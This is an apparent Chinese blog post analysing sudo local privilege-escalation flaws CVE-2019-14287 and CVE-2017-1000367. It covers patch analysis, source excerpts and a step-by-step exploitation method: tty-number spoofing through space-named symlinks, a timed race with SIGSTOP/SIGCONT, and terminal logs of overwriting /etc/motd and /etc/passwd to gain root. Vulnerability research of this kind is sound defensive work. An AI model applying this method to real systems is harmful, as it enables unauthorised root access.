sudo在配置了類似于testtest ALL=(ALL, !root) /usr/bin/id語(yǔ)句后,存在一個(gè)權(quán)限繞過(guò)漏洞。程序首先會(huì)通過(guò)setuid(0)將uid設(shè)置為0,然后執(zhí)行setresuid(id, id, id)將uid等設(shè)置為id的值,id可為testtest用戶指定的任意值。當(dāng)id為-1(4294967295)時(shí),setresuid不改變uid、euid和suid中的任何一個(gè),因而用戶的uid還是為0,可以達(dá)到權(quán)限提升的效果,但這一步在輸入正確密碼之后,因而攻擊者還需獲取賬戶密碼,再加上這種配置,也是比較困難的。
另外,如果允許用戶以任何用戶身份運(yùn)行命令(包括root用戶),是不受此漏洞影響的,因?yàn)楸緛?lái)用戶輸了密碼之后就可以以root身份運(yùn)行命令吧。允許用戶以特定其他用戶身份運(yùn)行命令也不受此漏洞影響,如下所示。

************ /etc/sudoers ***********
testtest ALL=(strawberry) /usr/bin/id

testtest@ubuntu:/home/strawberry/Desktop$ sudo -u strawberry id
[sudo] password for testtest:       
uid=1000(strawberry) gid=1000(strawberry) groups=1000(strawberry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
testtest@ubuntu:/home/strawberry/Desktop$ sudo -u#-1 id
Sorry, user testtest is not allowed to execute '/usr/bin/id' as #-1 on ubuntu.

參考文章

https://www.sudo.ws/alerts/minus_1_uid.html
https://access.redhat.com/security/cve/cve-2019-14287
https://www.anquanke.com/post/id/189315
https://www.freebuf.com/news/216821.html

CVE-2017-1000367 sudo本地提權(quán)漏洞

漏洞簡(jiǎn)訊

2017年5月30日,國(guó)外安全研究人員發(fā)現(xiàn)sudo本地提權(quán)漏洞,該漏洞編號(hào)為CVE-2017-1000367,漏洞源于sudo 在獲取tty時(shí)沒(méi)有正確解析/proc/[pid]/stat 的內(nèi)容,本地攻擊者可能會(huì)使用此漏洞來(lái)覆蓋文件系統(tǒng)上的任何文件,從而監(jiān)控其它用戶終端設(shè)備或獲取root權(quán)限。

研究員發(fā)現(xiàn) Linux 系統(tǒng)中 sudo 的 get_process_ttyname() 有這樣的漏洞:

這個(gè)函數(shù)會(huì)打開(kāi) “ /proc/[pid]/stat ”,并從 field 7 (tty_nr) 中讀取設(shè)備的 tty 編號(hào)。但這些field 是以空格分開(kāi)的,而 field 2中(comm,command的文件名)可以包含空格。

那么,當(dāng)我們從符號(hào)鏈接 “./ 1 ” 中執(zhí)行 sudo 命令時(shí),get_process_ttyname() 就會(huì)調(diào)用sudo_ttyname_dev() 來(lái)在內(nèi)置的 search_devs[] 中努力尋找并不存在的“1”號(hào) tty設(shè)備 。

然后,sudo_ttyname_dev() 開(kāi)始調(diào)用 sudo_ttyname_scan() 方法,遍歷“/dev”目錄,并以廣度優(yōu)先方式尋找并不存在的 tty 設(shè)備“1”。

最后,在這個(gè)遍歷過(guò)程中,我們可以利用漏洞讓當(dāng)前的用戶偽造自己的 tty 為文件系統(tǒng)上任意的字符設(shè)備,然后在兩個(gè)競(jìng)爭(zhēng)條件下,該用戶就可以將自己的tty偽造成文件系統(tǒng)上的任意文件。

值得注意的是,該漏洞第一次修復(fù)是在1.8.20p1版本,但該版本仍存在利用風(fēng)險(xiǎn),可用于劫持另一個(gè)用戶的終端。該漏洞最終于sudo 1.8.20p2版本中得以修復(fù)(此處有第二次補(bǔ)丁)。

在1.8.20p2之前的sudo版本中,還存在以下漏洞利用思路:

具有sudo特權(quán)的用戶可將stdin、stdout 和 stderr 連接到他們選擇的終端設(shè)備上來(lái)運(yùn)行命令。用戶可以選擇與另一個(gè)用戶當(dāng)前正在使用的終端相對(duì)應(yīng)的設(shè)備號(hào),這使得攻擊者可以對(duì)任意終端設(shè)備進(jìn)行讀寫(xiě)訪問(wèn)。根據(jù)允許命令的不同,攻擊者有可能從另一個(gè)用戶的終端讀取敏感數(shù)據(jù)(例如密碼)。

影響范圍

1.7.10 <= sudo version <= 1.7.10p9
1.8.5 <= sudo version <= 1.8.20p1

檢測(cè)方法

請(qǐng)檢查sudo版本是否屬于受漏洞影響版本:

sudo -V

檢查系統(tǒng)是否開(kāi)啟SELinux,sudo是否支持r選項(xiàng)。如果沒(méi)有開(kāi)啟或不支持r選項(xiàng),則無(wú)法利用此漏洞:

[strawberry@redhat ~]$ sestatus
SELinux status:                 enabled
SELinuxfs mount:                /sys/fs/selinux
SELinux root directory:         /etc/selinux
Loaded policy name:             targeted
Current mode:                   enforcing
Mode from config file:          enforcing
Policy MLS status:              enabled
Policy deny_unknown status:     allowed
Max kernel policy version:      28

漏洞分析

首先查看CVE-2017-1000367補(bǔ)丁,如下圖所示,此處修改發(fā)生在get_process_ttyname函數(shù)內(nèi)(位于/src/ttyname.c中),從注釋上看改變了獲取tty dev的方式,補(bǔ)丁之前通過(guò)空格數(shù)找到第7項(xiàng)(tty dev),補(bǔ)丁之后的流程是首先找到第二項(xiàng)的 ')' ,然后從第二項(xiàng)終止處通過(guò)空格數(shù)定位到第七項(xiàng):


下面來(lái)看之前代碼,首先獲取pid,然后通過(guò)解析/proc/pid/stat來(lái)獲取設(shè)備號(hào)(通過(guò)空格數(shù)),如果第七項(xiàng)不為0那就是設(shè)備號(hào):

char * get_process_ttyname(char *name, size_t namelen)
{
    char path[PATH_MAX], *line = NULL;
    char *ret = NULL;
    size_t linesize = 0;
    int serrno = errno;
    ssize_t len;
    FILE *fp;
    debug_decl(get_process_ttyname, SUDO_DEBUG_UTIL)

    /* Try to determine the tty from tty_nr in /proc/pid/stat. */
    snprintf(path, sizeof(path), "/proc/%u/stat", (unsigned int)getpid());
    if ((fp = fopen(path, "r")) != NULL) {
    len = getline(&line, &linesize, fp);
    fclose(fp);
    if (len != -1) {
        /* Field 7 is the tty dev (0 if no tty) */
        char *cp = line;
        char *ep = line;
        const char *errstr;
        int field = 0;

在獲取設(shè)備號(hào)之后,程序會(huì)調(diào)用sudo_ttyname_dev尋找設(shè)備文件。首先會(huì)在search_devs列表中的目錄下尋找(這里只截取了/dev/pts下搜索的代碼),如果該文件為字符設(shè)備文件并且設(shè)備號(hào)是要找的設(shè)備號(hào),就返回該文件的路徑吧。如果沒(méi)找到,就調(diào)用sudo_ttyname_scan在/dev下進(jìn)行廣度搜索。

    /*
     * First check search_devs for common tty devices.
     */
    for (sd = search_devs; (devname = *sd) != NULL; sd++) {
    len = strlen(devname);
    if (devname[len - 1] == '/') {
        if (strcmp(devname, "/dev/pts/") == 0) {
        /* Special case /dev/pts */
        (void)snprintf(buf, sizeof(buf), "%spts/%u", _PATH_DEV,
            (unsigned int)minor(rdev));
        if (stat(buf, &sb) == 0) {
            if (S_ISCHR(sb.st_mode) && sb.st_rdev == rdev) {
            sudo_debug_printf(SUDO_DEBUG_INFO|SUDO_DEBUG_LINENO,
                "comparing dev %u to %s: match!",
                (unsigned int)rdev, buf);
            if (strlcpy(name, buf, namelen) < namelen)
                rval = name;
            else
                errno = ERANGE;
            goto done;
            }
        }
    ...
    /*
     * Not found?  Do a breadth-first traversal of /dev/.
     */
    rval = sudo_ttyname_scan(_PATH_DEV, rdev, false, name, namelen);

正常情況下,/dev/pts/0對(duì)應(yīng)了設(shè)備號(hào)0x8800(34816)。測(cè)試:開(kāi)3個(gè)終端,設(shè)備文件分別為/dev/pts/0、/dev/pts/1和/dev/pts/2??梢园l(fā)現(xiàn),從/dev/pts/0起設(shè)備號(hào)從34816開(kāi)始遞增。

strawbe+   2038   2028  0 01:05 pts/0    00:00:00 bash
strawbe+   2048   2038  0 01:05 pts/0    00:00:00 sum
strawbe+   2071   2028  0 01:05 pts/1    00:00:00 bash
strawbe+   2139   2071  1 01:05 pts/1    00:00:00 python
strawbe+   2144   2028  0 01:05 pts/2    00:00:00 bash

strawberry@ubuntu:~$ cat /proc/2038/stat
2038 (bash) S 2028 2038 2038 34816 ...
strawberry@ubuntu:~$ cat /proc/2048/stat
2048 (sum) S 2038 2048 2038 34816 ...
strawberry@ubuntu:~$ cat /proc/2071/stat
2071 (bash) S 2028 2071 2071 34817 ...
strawberry@ubuntu:~$ cat /proc/2139/stat
2139 (python) S 2071 2139 2071 34817 ...
strawberry@ubuntu:~$ cat /proc/2144/stat
2144 (bash) S 2028 2144 2144 34818 ...

由于程序會(huì)通過(guò)進(jìn)程stat文件中的空格數(shù)來(lái)定位設(shè)備號(hào),而進(jìn)程名是可控的,進(jìn)程名中可能會(huì)包含空格,使得設(shè)備號(hào)可控,這是問(wèn)題的所在 。下面進(jìn)行測(cè)試,首先設(shè)置兩個(gè)指向sudo的軟連接:./\ \ \ \ \ 66666\ 和./\ \ \ \ \ 34818\ (偽造的設(shè)備號(hào)后面需要填一個(gè)空格,在sudo_strtonum函數(shù)中會(huì)有校驗(yàn)),然后分別使用它們執(zhí)行sudo ls,顯然66666失敗了,因?yàn)闆](méi)有找到num為66666的設(shè)備。

strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20/build$ tty
/dev/pts/2
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20/build$ ./\ \ \ \ \ 66666\  ls
     66666 : no tty present and no askpass program specified
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20/build$ ./\ \ \ \ \ 34818\  ls
'     34818 '  '     66666 '   bin   breakt   include   libexec   sbin   share

下面看第二次補(bǔ)丁內(nèi)容,主要是獲取/proc/pid/stat中內(nèi)容的方式不同,補(bǔ)丁前還是采用getline函數(shù)獲取文件中的一行,因?yàn)橐话闱闆r下/proc/pid/stat中的內(nèi)容就是一行。補(bǔ)丁后采用read函數(shù)讀取,并檢查讀取的內(nèi)容中是否包含“\x00”,這樣如果不報(bào)錯(cuò)的話,buf中就包含了文件的全部?jī)?nèi)容。另外,buf的長(zhǎng)度為1024,也在一定程度上限制了使用超長(zhǎng)程序名的攻擊。


第二次補(bǔ)丁

第一次補(bǔ)丁繞過(guò):第一次補(bǔ)丁中通過(guò)strrchr函數(shù)找到最后一個(gè)")",然后再通過(guò)空格定位設(shè)備號(hào)。然而程序只讀取一行,我們可以在程序名中加入")",然后在偽造的內(nèi)容后面加入換行符,這樣程序讀取數(shù)據(jù)之后會(huì)找到我們的")"作為程序名結(jié)束的標(biāo)志,我們還是可以控制設(shè)備號(hào)。

strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20p1/build$ tty
/dev/pts/3
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20p1/build$ './)     34819 
' ls
')     34819 '$'\n'   bin   include   libexec   sbin   share
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20p1/build$ "./)     66666 
" ls
)     66666 
: no tty present and no askpass program specified

繼續(xù)~ sudo在核對(duì)用戶密碼之后,會(huì)調(diào)用run_command(&command_details)來(lái)運(yùn)行用戶指定的命令,然后run_command->sudo_execute->exec_cmnd->exec_setup->selinux_setup->relabel_tty,在relabel_tty中可能會(huì)調(diào)用open(ttyn, O_RDWR|O_NONBLOCK)和dup2將stdin, stdout, and stderr重定向到用戶的tty,攻擊者可以利用這一點(diǎn)對(duì)控制的設(shè)備號(hào)所對(duì)應(yīng)的目標(biāo)文件進(jìn)行未授權(quán)讀寫(xiě)操作。

    /* Re-open tty to get new label and reset std{in,out,err} */
    close(se_state.ttyfd);
    se_state.ttyfd = open(ttyn, O_RDWR|O_NONBLOCK);
    if (se_state.ttyfd == -1) {
        sudo_warn(U_("unable to open %s"), ttyn);
        goto bad;
    }
    (void)fcntl(se_state.ttyfd, F_SETFL,
        fcntl(se_state.ttyfd, F_GETFL, 0) & ~O_NONBLOCK);
    for (fd = STDIN_FILENO; fd <= STDERR_FILENO; fd++) {
        if (isatty(fd) && dup2(se_state.ttyfd, fd) == -1) {
        sudo_warn("dup2");
        goto bad;
        }
    }

另外,exec_setup會(huì)判斷CD_RBAC_ENABLED標(biāo)志位是否設(shè)置,設(shè)置了才會(huì)去執(zhí)行selinux_setup(如下面第一段代碼所示)。如果使用sudo的r選項(xiàng),且開(kāi)啟SELinux,則該標(biāo)志就會(huì)設(shè)置(如第二段代碼所示)。所以,如果系統(tǒng)開(kāi)啟了開(kāi)啟SELinux,且sudo支持r選項(xiàng),則有機(jī)會(huì)利用這個(gè)漏洞。

#ifdef HAVE_SELINUX
    if (ISSET(details->flags, CD_RBAC_ENABLED)) {
    if (selinux_setup(details->selinux_role, details->selinux_type,
        ptyname ? ptyname : user_details.tty, ptyfd) == -1)
        goto done;
    }
#endif

#ifdef HAVE_SELINUX
    if (details->selinux_role != NULL && is_selinux_enabled() > 0)
    SET(details->flags, CD_RBAC_ENABLED);
#endif

漏洞利用

先復(fù)述一下第一種利用思路吧(這個(gè)難一點(diǎn)點(diǎn)),get_process_ttyname函數(shù)獲取設(shè)備號(hào)的方式存在漏洞,使得攻擊者可控制設(shè)備號(hào)。程序會(huì)通過(guò)比對(duì)的方式獲取與該設(shè)備號(hào)相對(duì)應(yīng)的設(shè)備文件,首先會(huì)在內(nèi)置的 search_devs列表中尋找,如果沒(méi)找到就會(huì)從/dev中尋找。攻擊者可以在/dev目錄下選擇一個(gè)可寫(xiě)的文件夾,向其中寫(xiě)入一個(gè)指向/dev/pts/num的軟連接,要求這個(gè)num文件當(dāng)前不存在,并且要和偽造的設(shè)備號(hào)相對(duì)應(yīng),就像前面所說(shuō)的/dev/pts/0和34816。然后通過(guò)帶有空格和偽造設(shè)備號(hào)的軟連接啟動(dòng)sudo(要加-r選項(xiàng),這樣才能重定向),程序在/dev/pts下找不到num文件,因而會(huì)從/dev下沒(méi)有被忽略的文件中去找,當(dāng)程序找到存放鏈接文件的文件夾時(shí),暫停sudo程序,調(diào)用openpty函數(shù)不斷創(chuàng)建終端,直到出現(xiàn)/dev/pts/num文件,然后繼續(xù)運(yùn)行sudo程序,這樣程序獲取的設(shè)備文件就是攻擊者偽造的那個(gè)軟鏈接。然后在程序關(guān)閉文件夾的時(shí)候,再次暫停程序,將這個(gè)軟鏈接重新指向攻擊者想要寫(xiě)入的文件然后運(yùn)行程序,這樣程序以為的tty實(shí)際上是攻擊者指定的文件,然后程序會(huì)通過(guò)dup2將stdin, stdout, and stderr重定向到這個(gè)文件。這樣我們可以通過(guò)控制可用命令的輸出或報(bào)錯(cuò)信息,從而精準(zhǔn)覆寫(xiě)系統(tǒng)上的任意文件。

1、尋找/dev下可寫(xiě)目錄,可以找到mqueue/和shm/。在shm/中創(chuàng)建文件夾/_tmp,并在其中設(shè)置/dev/shm/_tmp/_tty->/dev/pts/57、/dev/shm/_tmp/ 34873 ->/usr/bin/sudo。

strawberry@ubuntu:/dev$ ll | grep drwxrwx
drwxrwxrwt   2 root       root          40 Feb 13 18:20 mqueue/
drwxrwxrwt   3 root       root          60 Feb 13 19:08 shm/

2、sudo -r 選項(xiàng),ubuntu中的sudo雖內(nèi)置了這個(gè)選項(xiàng),但沒(méi)有安裝selinux,所以沒(méi)有測(cè)試成功。

  -r role       create SELinux security context with specified role

3、在redhat下測(cè)試,sudo -r unconfined_r可以用。執(zhí)行/dev/shm/_tmp/ 34873 -r unconfined_r /usr/bin/sum "--\nHELLO\nWORLD\n",程序會(huì)去尋找設(shè)備號(hào)為34873的設(shè)備。

[testtest@redhat ~]$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[testtest@redhat ~]$ sudo -r unconfined_r sum test
00000     0
[testtest@redhat ~]$ sudo -r asdf sum test
sudo: unable to get default type for role asdf

4、由于/dev/pts/57不存在,程序在遍歷完search_devs列表中的目錄后會(huì)在/dev下尋找,我們監(jiān)測(cè)/dev/shm/_tmp文件夾是否打開(kāi),如果打開(kāi)了就向sudo進(jìn)程發(fā)送SIGSTOP信號(hào)使其暫停,同時(shí)調(diào)用openpty函數(shù)生成/dev/pts/57,如果/dev/pts/57存在了,就向sudo發(fā)送SIGCONT信號(hào)恢復(fù)其運(yùn)行。

[+] Create /dev/pts/2
[+] Create /dev/pts/3
...
[+] Create /dev/pts/57

5、檢測(cè)到/dev/shm/_tmp文件夾關(guān)閉后,暫停sudo程序,修改/dev/shm/_tmp/_tty,使其指向/etc/motd,成功后繼續(xù)運(yùn)行程序。

6、為了可以兩次成功暫停sudo進(jìn)程,可以將其優(yōu)先級(jí)設(shè)置為19,調(diào)用sched_setscheduler為其設(shè)置SCHED_IDLE策略,調(diào)用sched_setaffinity使sudo進(jìn)程和利用進(jìn)程使用相同的CPU,而利用進(jìn)程的優(yōu)先級(jí)被設(shè)置為-20(最高優(yōu)先級(jí))。

7、最終測(cè)試:在sudoers添加testtest ALL=(ALL) /usr/bin/sum策略,運(yùn)行sudopwn(將輸出/重定向到/etc/motd),可以看出文件中的內(nèi)容原本為“motd”,運(yùn)行程序后被覆蓋為sum命令的報(bào)錯(cuò)信息:

Last login: Thu Feb 13 15:02:54 2020
motd
[testtest@redhat ~]$ ./sudopwn
[sudo] password for testtest: 
[testtest@redhat ~]$ cat /etc/motd
/usr/bin/sum: unrecognized option '--
HELLO
WORLD
'
Try '/usr/bin/sum --help' for more information.

第二種利用思路簡(jiǎn)單一些,攻擊者在登錄之后,可進(jìn)入/dev/pts目錄篩選出其它用戶登錄的設(shè)備,計(jì)算該設(shè)備號(hào),利用此漏洞使用帶有此設(shè)備號(hào)的符號(hào)鏈接來(lái)啟動(dòng)sudo程序,根據(jù)其授權(quán)的命令不同可選擇獲取對(duì)該終端的讀寫(xiě)權(quán)限。

[testtest@redhat pts]$ tty
/dev/pts/1
[testtest@redhat pts]$ ls
0  1  2  ptmx
[testtest@redhat ~]$ ./sudopwn2
Input pts num: 2
[sudo] password for testtest: 
[testtest@redhat ~]$ 

[strawberry@redhat ~]$ /usr/bin/sum: unrecognized option '--
HELLO
WORLD
'
Try '/usr/bin/sum --help' for more information.

漏洞總結(jié)

sudo獲取設(shè)備號(hào)的方式存在漏洞,使得攻擊者可控制設(shè)備號(hào)。攻擊者可選取一組對(duì)應(yīng)的設(shè)備號(hào)和設(shè)備文件,使用帶有偽造設(shè)備號(hào)的符號(hào)鏈接啟動(dòng)sudo。由于漏洞的存在,程序會(huì)讀取錯(cuò)誤的設(shè)備號(hào),并在/dev中尋找相應(yīng)的設(shè)備文件(如果是本身不存在的設(shè)備文件,攻擊者還需選擇合適的時(shí)機(jī)創(chuàng)建此設(shè)備文件,并在另一刻將指向其的符號(hào)鏈接指向目標(biāo)文件)。當(dāng)程序運(yùn)行在啟用SELinux的系統(tǒng)上時(shí),如果sudo使用了r選項(xiàng)使用指定role創(chuàng)建SELinux安全上下文,則會(huì)將stdin、stdout和stderr重定向到當(dāng)前設(shè)備,這可能允許攻擊者對(duì)目標(biāo)設(shè)備進(jìn)行未授權(quán)讀寫(xiě)。假如攻擊者利用該漏洞覆寫(xiě)了/etc/passwd文件,則有可能獲取root權(quán)限。

strawberry@ubuntu:~$ ssh testtest@192.168.29.173
testtest@192.168.29.173's password: 
Last login: Thu Feb 13 15:02:54 2020
[testtest@redhat ~]$ whoami
testtest
[testtest@redhat ~]$ ./sudopwn 
[sudo] password for testtest: 
[testtest@redhat ~]$ whoami
whoami: cannot find name for user ID 1001
[testtest@redhat ~]$ logout
Connection to 192.168.29.173 closed.

strawberry@ubuntu:~$ ssh testtest@192.168.29.173
testtest@192.168.29.173's password: 
Last login: Thu Feb 13 16:29:05 2020 from 192.168.29.155
[root@redhat ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

參考文章

https://www.sudo.ws/alerts/linux_tty.html
https://www.freebuf.com/articles/system/136975.html
https://www.freebuf.com/vuls/136156.html
http://securityaffairs.co/wordpress/59606/hacking/linux-flaw.html
https://www.openwall.com/lists/oss-security/2017/05/30/16

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 進(jìn)入帶空格的文件或者文件夾 Linux文件權(quán)限詳解 文件和目錄權(quán)限概述 在linux中的每一個(gè)文件或目錄都包含有訪...
    annkee閱讀 2,803評(píng)論 0 4
  • 第一章 1.Linux是一套免費(fèi)使用和自由傳播的類UNIX操作系統(tǒng),它可以基于Intel x86系列處理器以及Cy...
    yansicing閱讀 5,597評(píng)論 0 9
  • whoami 查看當(dāng)前登錄用戶名 /etc/group文件包含所有組 /etc/shadow和/etc/passw...
    仙靈兒閱讀 755評(píng)論 0 0
  • 1、第八章 Samba服務(wù)器2、第八章 NFS服務(wù)器3、第十章 Linux下DNS服務(wù)器配站點(diǎn),域名解析概念命令:...
    哈熝少主閱讀 3,918評(píng)論 0 10
  • 上周五,數(shù)學(xué)田老師給我們布置了一項(xiàng)“特殊”的數(shù)學(xué)作業(yè),這項(xiàng)作業(yè)之所以特殊是因?yàn)樗挥眉埞P,要用的是膠槍?牙簽?...
    楊若彬彬閱讀 4,781評(píng)論 0 0

友情鏈接更多精彩內(nèi)容